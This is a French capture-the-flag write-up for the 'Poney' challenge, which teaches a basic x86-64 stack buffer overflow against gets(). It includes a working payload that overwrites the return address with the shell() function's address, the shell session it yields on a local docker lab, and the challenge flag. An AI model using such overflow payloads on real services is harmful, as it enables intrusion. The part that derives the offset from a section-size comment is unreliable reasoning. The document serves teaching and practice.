Solution de tacorabane pour Poney

intro pwn x86/x64

3 décembre 2023

Description

On vous demande de lire le fichier flag.txt présent sur le système.

Solution

Tout d’abord, commençons par télécharger les deux fichiers qui nous sont proposés :

  • poney qui est le fichier executable fournit pour les tests locals
  • docker-compose.yml qui nous permet d’instancier l’environnement pour le challenge.

N.B : Sachez que dans la majorité des compétitions CTF les challenges avec docker sont hébergés par le groupe.

Dans ce writeup, pour le reverse engineering, je vais utiliser Cutter. Bien évidemment, ce n’est pas le seul outil.

Analyse du fichier

Dans un premier temps, comme nous n’avons pas d’extension de fichier, nous devons toujours regarder quel type de fichier executable les organisateurs nous transmettent.

$ file poney
poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped

Voici ce que nous savons :

  • ELF 64 bit LSB executable, ELF (Executable and Linkable Format) est un format de fichier binaire élaborer par USL (Unix System Laboratories). LSB (Linux Standard Base) ce qui veut dire qu’il est executable sur toutes les platformes Linux/Unix-like.
  • x86-64, l’architecture x86-64 est très important à connaître car l’adressage mémoire peut être différent selon les architectures.
  • dynamically linked, cette information nous permet de savoir que la liaison se fait au moment de l’exécution, lorsque le fichier exécutable et les bibliothèques sont placés dans la mémoire.
  • not stripped, renvoie aux fichiers binaires qui contiennent des informations de débogage.

Exécution

Il n’y a pas une multitude de manière (sans parler du déboggage dynamique), en retro ingénierie, nous devons exécuter le programme pour :

  1. Visualiser le scénario nominal.
  2. Visualiser le ou les scénario(s) d’exception.
  3. Vérifier les affichages initiaux du programme.
  4. Vérifier les affichages erreurs du programme.
./poney
Give me the correct input, and I will give you a shell:
>>> 

Après avoir lancé le programme nous voyons un texte de démarrage (cf. point 1). Ainsi que trois chevrons (signe supérieurs à).

Si vous mettez n’importe quoi de simple comme toto vous verrez disparaitre le prompt du programme.

Ce qu’il faut savoir dans les saisies simple, les fonctions de saisies ne sont pas assainies et peuvent provoquer des problèmes lorsque l’on y insère des mots/textes longs.

En effet, lors de la saisie utilisateur, dans le code source les développeurs doivent “normalement” gérer ce que nous appelons un buffer. Le buffer ou tampon est un espace mémoire temporaire dans laquelle sera stockée les informations de la saisie utilisateur.

Pour mieux comprendre, je vous laisse vous imprégner des fonctions get et fgets.

  • char * fgets( char * string, int maxLength, FILE * stream ); : en deuxième paramètre on y aperçoie int maxLength qui représente la taille maximum du buffer.
  • char * gets( char * string ); : cette fonction à l’inverse ne possède pas de le paramètre gérant la taille maximum du buffer.

Bon trève de discours, exploitons la faille de la saisie. S’il y en a une ;)

$ python3 -c 'print("A"*256+"DEAD2EC_W4S_H3R3_")' | ./poney
Give me the correct input, and I will give you a shell:
>>> Erreur de segmentation (core dumped)

Mais quoi ! Nous venons en une commande de casser le poney :'(

Trève de plaisanterie ! Ce que l’on vient de tester c’est bel et bien de vérifier que la fonction ne gère absolument pas la taille maximum du tampon mémoire grâce à la phrase Erreur de segmentation (core dumped). Ce que nous dis le programme c’est, “Je suis sorti du tampon mais l’adresse suivante ne correspond à rien.

En effet, le buffer overflow, qui est la technique que l’on vient d’exploiter, échappe le programme de la zone d’adressage réserver à son bon fonctionnement.

Maintenant, nous allons désassembler le programme grâce à Cutter. Je ne vais pas vous montrer comment ouvrir le programme c’est intuitif.

cutter

A ce stade, nous allons essayer de récupérer l’information de la taille max du buffer. Comme spécifier précédemment, nous savons que nous le trouverons car not stripped.

Donc, dans Cutter, nous allons en bas à droite, sélectionner “Désassembleur (main)” et nous allons regarder ce qui est pertinent. Commençons par la fonction d’affichage.

fonction printf

Mon petit doigt me dit que _plt_got (); est la fonction gets(). Double cliquez dessus.

fonction_gets

Bingo ! Nous voyons le commentaire /* [11] -r-x section size 40 named .plt.got */ qui nous précise que la taille est de 40.

Changeons alors notre exploit.

$ python3 -c 'print("A"*40)'

Mais il nous manque quelque chose. Pour faire simple, il faut que nous accédions au shell que le programme nous annonce au démarrage. Alors regardez. Dans la liste de gauche, nous allons regarder le contenu de shell.

shell

Ok, en effet, cette fonction nous permet d’accéder au shell mais il nous faut une adresse mémoire. Et oui ! C’est la base de l’informatique.

Pour récupérer l’adresse, nous allons utiliser la commande nm qui permet de récupérer la liste des symbols d’un fichier objet.

$ nm poney | grep shell
0000000000400676 T shell

Bypass

Nous allons insérer à notre exploit l’adresse mémoire mais… à l’envers par bloc de 8 bits :D. L’informatique c’est merveilleux ! Nous allons tout de suite utiliser notre exploit sur le docker que vous avez initialisé selon les explications de l’équipe Hackropole.

$ python3 -c 'print("A"*40+"\x76\x06\x40\x00\x00\x00\x00\x00")' | nc localhost 4000
Give me the correct input, and I will give you a shell:
>>> dl
ls
flag.txt
poney
cat flag.txt
FCSC{725dd45f9c98099bcca6e9922beda74d381af1145dfce3b933512a380a356acf}

Alors, Mr.Robot ? Êtes-vous prêt à intégrer la FSociety ? :)